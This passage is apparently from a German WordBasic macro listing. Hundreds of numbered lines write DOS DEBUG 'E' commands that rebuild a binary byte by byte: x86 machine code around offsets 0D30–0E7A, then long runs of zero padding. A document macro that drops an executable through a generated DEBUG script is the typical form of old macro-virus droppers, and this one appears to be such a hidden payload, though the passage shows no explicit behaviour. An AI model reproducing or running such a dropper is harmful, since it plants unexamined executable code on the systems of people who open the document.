  5378. Einfügen "Print #1," + Chr$(34) + "E 0D30 06 00 0A C1 0C 40 AA C3 B8 08 00 E8 15 01 8B F0" + Chr$(34)
  5379. EinfügenAbsatz
  5380. Einfügen "Print #1," + Chr$(34) + "E 0D40 81 C6 7C 0E 80 3C 01 74 EF C3 B8 06 00 E8 03 01" + Chr$(34)
  5381. EinfügenAbsatz
  5382. Einfügen "Print #1," + Chr$(34) + "E 0D50 D1 E0 05 63 0C 8B F0 8B 04 FF D0 80 3E 84 0E EE" + Chr$(34)
  5383. EinfügenAbsatz
  5384. Einfügen "Print #1," + Chr$(34) + "E 0D60 75 E8 C3 6F 0C A3 0C CB 0C FC 0C 19 0D 36 0D F6" + Chr$(34)
  5385. EinfügenAbsatz
  5386. Einfügen "Print #1," + Chr$(34) + "E 0D70 06 84 0E 80 74 2C F6 06 84 0E 08 75 25 E8 26 FF" + Chr$(34)
  5387. EinfügenAbsatz
  5388. Einfügen "Print #1," + Chr$(34) + "E 0D80 B0 81 AA A0 64 0E 0C C0 AA 89 3E 6A 0E B8 55 00" + Chr$(34)
  5389. EinfügenAbsatz
  5390. Einfügen "Print #1," + Chr$(34) + "E 0D90 03 06 74 0E 2B 06 66 0E AB 01 06 66 0E 80 0E 84" + Chr$(34)
  5391. EinfügenAbsatz
  5392. Einfügen "Print #1," + Chr$(34) + "E 0DA0 0E 08 C3 F6 06 84 0E 40 74 20 F6 06 84 0E 04 75" + Chr$(34)
  5393. EinfügenAbsatz
  5394. Einfügen "Print #1," + Chr$(34) + "E 0DB0 19 E8 F2 FE B0 81 AA A0 6E 0E 0C C0 AA E8 A3 00" + Chr$(34)
  5395. EinfügenAbsatz
  5396. Einfügen "Print #1," + Chr$(34) + "E 0DC0 AB 01 06 6F 0E 80 0E 84 0E 04 C3 F6 06 84 0E 20" + Chr$(34)
  5397. EinfügenAbsatz
  5398. Einfügen "Print #1," + Chr$(34) + "E 0DD0 74 29 F6 06 84 0E 02 75 22 E8 CA FE B0 81 AA A0" + Chr$(34)
  5399. EinfügenAbsatz
  5400. Einfügen "Print #1," + Chr$(34) + "E 0DE0 71 0E 0C C0 AA 89 3E 6C 0E A1 76 0E 2B 06 72 0E" + Chr$(34)
  5401. EinfügenAbsatz
  5402. Einfügen "Print #1," + Chr$(34) + "E 0DF0 48 AB 01 06 72 0E 80 0E 84 0E 02 C3 F6 06 84 0E" + Chr$(34)
  5403. EinfügenAbsatz
  5404. Einfügen "Print #1," + Chr$(34) + "E 0E00 80 75 15 E8 A0 FE A0 64 0E 0C B8 AA E8 54 00 AB" + Chr$(34)
  5405. EinfügenAbsatz
  5406. Einfügen "Print #1," + Chr$(34) + "E 0E10 A3 66 0E 80 0E 84 0E 80 C3 F6 06 84 0E 40 75 15" + Chr$(34)
  5407. EinfügenAbsatz
  5408. Einfügen "Print #1," + Chr$(34) + "E 0E20 E8 83 FE A0 6E 0E 0C B8 AA E8 37 00 AB A3 6F 0E" + Chr$(34)
  5409. EinfügenAbsatz
  5410. Einfügen "Print #1," + Chr$(34) + "E 0E30 80 0E 84 0E 40 C3 F6 06 84 0E 20 75 15 E8 66 FE" + Chr$(34)
  5411. EinfügenAbsatz
  5412. Einfügen "Print #1," + Chr$(34) + "E 0E40 A0 71 0E 0C B8 AA E8 1A 00 AB A3 72 0E 80 0E 84" + Chr$(34)
  5413. EinfügenAbsatz
  5414. Einfügen "Print #1," + Chr$(34) + "E 0E50 0E 20 C3 51 52 2B D2 8B C8 E8 07 00 F7 F1 8B C2" + Chr$(34)
  5415. EinfügenAbsatz
  5416. Einfügen "Print #1," + Chr$(34) + "E 0E60 5A 59 C3 E4 40 8A E0 E4 40 0B C0 74 F6 3D FF FF" + Chr$(34)
  5417. EinfügenAbsatz
  5418. Einfügen "Print #1," + Chr$(34) + "E 0E70 74 F1 C3 9C 2E FF 1E 6F 03 C3 E9 00 00 00 00 00" + Chr$(34)
  5419. EinfügenAbsatz
  5420. Einfügen "Print #1," + Chr$(34) + "E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5421. EinfügenAbsatz
  5422. Einfügen "Print #1," + Chr$(34) + "E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5423. EinfügenAbsatz
  5424. Einfügen "Print #1," + Chr$(34) + "E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5425. EinfügenAbsatz
  5426. Einfügen "Print #1," + Chr$(34) + "E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5427. EinfügenAbsatz
  5428. Einfügen "Print #1," + Chr$(34) + "E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5429. EinfügenAbsatz
  5430. Einfügen "Print #1," + Chr$(34) + "E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5431. EinfügenAbsatz
  5432. Einfügen "Print #1," + Chr$(34) + "E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5433. EinfügenAbsatz
  5434. Einfügen "Print #1," + Chr$(34) + "E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5435. EinfügenAbsatz
  5436. Einfügen "Print #1," + Chr$(34) + "E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5437. EinfügenAbsatz
  5438. Einfügen "Print #1," + Chr$(34) + "E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5439. EinfügenAbsatz
  5440. Einfügen "Print #1," + Chr$(34) + "E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5441. EinfügenAbsatz
  5442. Einfügen "Print #1," + Chr$(34) + "E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5443. EinfügenAbsatz
  5444. Einfügen "Print #1," + Chr$(34) + "E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5445. EinfügenAbsatz
  5446. Einfügen "Print #1," + Chr$(34) + "E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5447. EinfügenAbsatz
  5448. Einfügen "Print #1," + Chr$(34) + "E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5449. EinfügenAbsatz
  5450. Einfügen "Print #1," + Chr$(34) + "E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00" + Chr$(34)
  5451. EinfügenAbsatz
  5452. Einfügen "Print #1," + Chr$(34) + "E 0F80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5453. EinfügenAbsatz
  5454. Einfügen "Print #1," + Chr$(34) + "E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5455. EinfügenAbsatz
  5456. Einfügen "Print #1," + Chr$(34) + "E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5457. EinfügenAbsatz
  5458. Einfügen "Print #1," + Chr$(34) + "E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5459. EinfügenAbsatz
  5460. Einfügen "Print #1," + Chr$(34) + "E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5461. EinfügenAbsatz
  5462. Einfügen "Print #1," + Chr$(34) + "E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5463. EinfügenAbsatz
  5464. Einfügen "Print #1," + Chr$(34) + "E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5465. EinfügenAbsatz
  5466. Einfügen "Print #1," + Chr$(34) + "E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5467. EinfügenAbsatz
  5468. Einfügen "Print #1," + Chr$(34) + "E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5469. EinfügenAbsatz
  5470. Einfügen "Print #1," + Chr$(34) + "E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5471. EinfügenAbsatz
  5472. Einfügen "Print #1," + Chr$(34) + "E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5473. EinfügenAbsatz
  5474. Einfügen "Print #1," + Chr$(34) + "E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5475. EinfügenAbsatz
  5476. Einfügen "Print #1," + Chr$(34) + "E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5477. EinfügenAbsatz
  5478. Einfügen "Print #1," + Chr$(34) + "E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5479. EinfügenAbsatz
  5480. Einfügen "Print #1," + Chr$(34) + "E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5481. EinfügenAbsatz
  5482. Einfügen "Print #1," + Chr$(34) + "E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5483. EinfügenAbsatz
  5484. Einfügen "Print #1," + Chr$(34) + "E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5485. EinfügenAbsatz
  5486. Einfügen "Print #1," + Chr$(34) + "E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5487. EinfügenAbsatz
  5488. Einfügen "Print #1," + Chr$(34) + "E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5489. EinfügenAbsatz
  5490. Einfügen "Print #1," + Chr$(34) + "E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5491. EinfügenAbsatz
  5492. Einfügen "Print #1," + Chr$(34) + "E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5493. EinfügenAbsatz
  5494. Einfügen "Print #1," + Chr$(34) + "E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5495. EinfügenAbsatz
  5496. Einfügen "Print #1," + Chr$(34) + "E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5497. EinfügenAbsatz
  5498. Einfügen "Print #1," + Chr$(34) + "E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5499. EinfügenAbsatz
  5500. Einfügen "Print #1," + Chr$(34) + "E 1100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5501. EinfügenAbsatz
  5502. Einfügen "Print #1," + Chr$(34) + "E 1110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5503. EinfügenAbsatz
  5504. Einfügen "Print #1," + Chr$(34) + "E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5505. EinfügenAbsatz
  5506. Einfügen "Print #1," + Chr$(34) + "E 1130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5507. EinfügenAbsatz
  5508. Einfügen "Print #1," + Chr$(34) + "E 1140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5509. EinfügenAbsatz
  5510. Einfügen "Print #1," + Chr$(34) + "E 1150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5511. EinfügenAbsatz
  5512. Einfügen "Print #1," + Chr$(34) + "E 1160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5513. EinfügenAbsatz
  5514. Einfügen "Print #1," + Chr$(34) + "E 1170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5515. EinfügenAbsatz
  5516. Einfügen "Print #1," + Chr$(34) + "E 1180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5517. EinfügenAbsatz
  5518. Einfügen "Print #1," + Chr$(34) + "E 1190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5519. EinfügenAbsatz
  5520. Einfügen "Print #1," + Chr$(34) + "E 11A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5521. EinfügenAbsatz
  5522. Einfügen "Print #1," + Chr$(34) + "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5523. EinfügenAbsatz
  5524. Einfügen "Print #1," + Chr$(34) + "E 11C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5525. EinfügenAbsatz
  5526. Einfügen "Print #1," + Chr$(34) + "E 11D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5527. EinfügenAbsatz
  5528. Einfügen "Print #1," + Chr$(34) + "E 11E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5529. EinfügenAbsatz
  5530. Einfügen "Print #1," + Chr$(34) + "E 11F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5531. EinfügenAbsatz
  5532. Einfügen "Print #1," + Chr$(34) + "E 1200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5533. EinfügenAbsatz
  5534. Einfügen "Print #1," + Chr$(34) + "E 1210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5535. EinfügenAbsatz
  5536. Einfügen "Print #1," + Chr$(34) + "E 1220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5537. EinfügenAbsatz
  5538. Einfügen "Print #1," + Chr$(34) + "E 1230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5539. EinfügenAbsatz
  5540. Einfügen "Print #1," + Chr$(34) + "E 1240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5541. EinfügenAbsatz
  5542. Einfügen "Print #1," + Chr$(34) + "E 1250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5543. EinfügenAbsatz
  5544. Einfügen "Print #1," + Chr$(34) + "E 1260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5545. EinfügenAbsatz
  5546. Einfügen "Print #1," + Chr$(34) + "E 1270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5547. EinfügenAbsatz
  5548. Einfügen "Print #1," + Chr$(34) + "E 1280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5549. EinfügenAbsatz
  5550. Einfügen "Print #1," + Chr$(34) + "E 1290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5551. EinfügenAbsatz
  5552. Einfügen "Print #1," + Chr$(34) + "E 12A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5553. EinfügenAbsatz
  5554. Einfügen "Print #1," + Chr$(34) + "E 12B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5555. EinfügenAbsatz
  5556. Einfügen "Print #1," + Chr$(34) + "E 12C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5557. EinfügenAbsatz
  5558. Einfügen "Print #1," + Chr$(34) + "E 12D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5559. EinfügenAbsatz
  5560. Einfügen "Print #1," + Chr$(34) + "E 12E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5561. EinfügenAbsatz
  5562. Einfügen "Print #1," + Chr$(34) + "E 12F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5563. EinfügenAbsatz
  5564. Einfügen "Print #1," + Chr$(34) + "E 1300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5565. EinfügenAbsatz
  5566. Einfügen "Print #1," + Chr$(34) + "E 1310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5567. EinfügenAbsatz
  5568. Einfügen "Print #1," + Chr$(34) + "E 1320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5569. EinfügenAbsatz
  5570. Einfügen "Print #1," + Chr$(34) + "E 1330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5571. EinfügenAbsatz
  5572. Einfügen "Print #1," + Chr$(34) + "E 1340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5573. EinfügenAbsatz
  5574. Einfügen "Print #1," + Chr$(34) + "E 1350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5575. EinfügenAbsatz
  5576. Einfügen "Print #1," + Chr$(34) + "E 1360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5577. EinfügenAbsatz
  5578. Einfügen "Print #1," + Chr$(34) + "E 1370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5579. EinfügenAbsatz
  5580. Einfügen "Print #1," + Chr$(34) + "E 1380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5581. EinfügenAbsatz
  5582. Einfügen "Print #1," + Chr$(34) + "E 1390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5583. EinfügenAbsatz
  5584. Einfügen "Print #1," + Chr$(34) + "E 13A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5585. EinfügenAbsatz
  5586. Einfügen "Print #1," + Chr$(34) + "E 13B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5587. EinfügenAbsatz
  5588. Einfügen "Print #1," + Chr$(34) + "E 13C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5589. EinfügenAbsatz
  5590. Einfügen "Print #1," + Chr$(34) + "E 13D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5591. EinfügenAbsatz
  5592. Einfügen "Print #1," + Chr$(34) + "E 13E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5593. EinfügenAbsatz
  5594. Einfügen "Print #1," + Chr$(34) + "E 13F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5595. EinfügenAbsatz
  5596. Einfügen "Print #1," + Chr$(34) + "E 1400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5597. EinfügenAbsatz
  5598. Einfügen "Print #1," + Chr$(34) + "E 1410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5599. EinfügenAbsatz
  5600. Einfügen "Print #1," + Chr$(34) + "E 1420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5601. EinfügenAbsatz
  5602. Einfügen "Print #1," + Chr$(34) + "E 1430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5603. EinfügenAbsatz
  5604. Einfügen "Print #1," + Chr$(34) + "E 1440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5605. EinfügenAbsatz
  5606. Einfügen "Print #1," + Chr$(34) + "E 1450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5607. EinfügenAbsatz
  5608. Einfügen "Print #1," + Chr$(34) + "E 1460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5609. EinfügenAbsatz
  5610. Einfügen "Print #1," + Chr$(34) + "E 1470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5611. EinfügenAbsatz
  5612. Einfügen "Print #1," + Chr$(34) + "E 1480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5613. EinfügenAbsatz
  5614. Einfügen "Print #1," + Chr$(34) + "E 1490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5615. EinfügenAbsatz
  5616. Einfügen "Print #1," + Chr$(34) + "E 14A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5617. EinfügenAbsatz
  5618. Einfügen "Print #1," + Chr$(34) + "E 14B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5619. EinfügenAbsatz
  5620. Einfügen "Print #1," + Chr$(34) + "E 14C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5621. EinfügenAbsatz
  5622. Einfügen "Print #1," + Chr$(34) + "E 14D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5623. EinfügenAbsatz
  5624. Einfügen "Print #1," + Chr$(34) + "E 14E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5625. EinfügenAbsatz
  5626. Einfügen "Print #1," + Chr$(34) + "E 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5627. EinfügenAbsatz
  5628. Einfügen "Print #1," + Chr$(34) + "E 1500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5629. EinfügenAbsatz
  5630. Einfügen "Print #1," + Chr$(34) + "E 1510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5631. EinfügenAbsatz
  5632. Einfügen "Print #1," + Chr$(34) + "E 1520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5633. EinfügenAbsatz
  5634. Einfügen "Print #1," + Chr$(34) + "E 1530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5635. EinfügenAbsatz
  5636. Einfügen "Print #1," + Chr$(34) + "E 1540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5637. EinfügenAbsatz
  5638. Einfügen "Print #1," + Chr$(34) + "E 1550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5639. EinfügenAbsatz
  5640. Einfügen "Print #1," + Chr$(34) + "E 1560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5641. EinfügenAbsatz
  5642. Einfügen "Print #1," + Chr$(34) + "E 1570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5643. EinfügenAbsatz
  5644. Einfügen "Print #1," + Chr$(34) + "E 1580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5645. EinfügenAbsatz
  5646. Einfügen "Print #1," + Chr$(34) + "E 1590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5647. EinfügenAbsatz
  5648. Einfügen "Print #1," + Chr$(34) + "E 15A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5649. EinfügenAbsatz
  5650. Einfügen "Print #1," + Chr$(34) + "E 15B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5651. EinfügenAbsatz
  5652. Einfügen "Print #1," + Chr$(34) + "E 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5653. EinfügenAbsatz
  5654. Einfügen "Print #1," + Chr$(34) + "E 15D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5655. EinfügenAbsatz
  5656. Einfügen "Print #1," + Chr$(34) + "E 15E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5657. EinfügenAbsatz
  5658. Einfügen "Print #1," + Chr$(34) + "E 15F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5659. EinfügenAbsatz
  5660. Einfügen "Print #1," + Chr$(34) + "E 1600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5661. EinfügenAbsatz
  5662. Einfügen "Print #1," + Chr$(34) + "E 1610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5663. EinfügenAbsatz
  5664. Einfügen "Print #1," + Chr$(34) + "E 1620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5665. EinfügenAbsatz
  5666. Einfügen "Print #1," + Chr$(34) + "E 1630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5667. EinfügenAbsatz
  5668. Einfügen "Print #1," + Chr$(34) + "E 1640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5669. EinfügenAbsatz
  5670. Einfügen "Print #1," + Chr$(34) + "E 1650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5671. EinfügenAbsatz
  5672. Einfügen "Print #1," + Chr$(34) + "E 1660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5673. EinfügenAbsatz
  5674. Einfügen "Print #1," + Chr$(34) + "E 1670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5675. EinfügenAbsatz
  5676. Einfügen "Print #1," + Chr$(34) + "E 1680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5677. EinfügenAbsatz
  5678. Einfügen "Print #1," + Chr$(34) + "E 1690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5679. EinfügenAbsatz
  5680. Einfügen "Print #1," + Chr$(34) + "E 16A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5681. EinfügenAbsatz
  5682. Einfügen "Print #1," + Chr$(34) + "E 16B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5683. EinfügenAbsatz
  5684. Einfügen "Print #1," + Chr$(34) + "E 16C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5685. EinfügenAbsatz
  5686. Einfügen "Print #1," + Chr$(34) + "E 16D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5687. EinfügenAbsatz
  5688. Einfügen "Print #1," + Chr$(34) + "E 16E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5689. EinfügenAbsatz
  5690. Einfügen "Print #1," + Chr$(34) + "E 16F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5691. EinfügenAbsatz
  5692. Einfügen "Print #1," + Chr$(34) + "E 1700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5693. EinfügenAbsatz
  5694. Einfügen "Print #1," + Chr$(34) + "E 1710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5695. EinfügenAbsatz
  5696. Einfügen "Print #1," + Chr$(34) + "E 1720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5697. EinfügenAbsatz
  5698. Einfügen "Print #1," + Chr$(34) + "E 1730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5699. EinfügenAbsatz
  5700. Einfügen "Print #1," + Chr$(34) + "E 1740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5701. EinfügenAbsatz
  5702. Einfügen "Print #1," + Chr$(34) + "E 1750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5703. EinfügenAbsatz
  5704. Einfügen "Print #1," + Chr$(34) + "E 1760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5705. EinfügenAbsatz
  5706. Einfügen "Print #1," + Chr$(34) + "E 1770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5707. EinfügenAbsatz
  5708. Einfügen "Print #1," + Chr$(34) + "E 1780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5709. EinfügenAbsatz
  5710. Einfügen "Print #1," + Chr$(34) + "E 1790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5711. EinfügenAbsatz
  5712. Einfügen "Print #1," + Chr$(34) + "E 17A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5713. EinfügenAbsatz
  5714. Einfügen "Print #1," + Chr$(34) + "E 17B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5715. EinfügenAbsatz
  5716. Einfügen "Print #1," + Chr$(34) + "E 17C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5717. EinfügenAbsatz
  5718. Einfügen "Print #1," + Chr$(34) + "E 17D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5719. EinfügenAbsatz
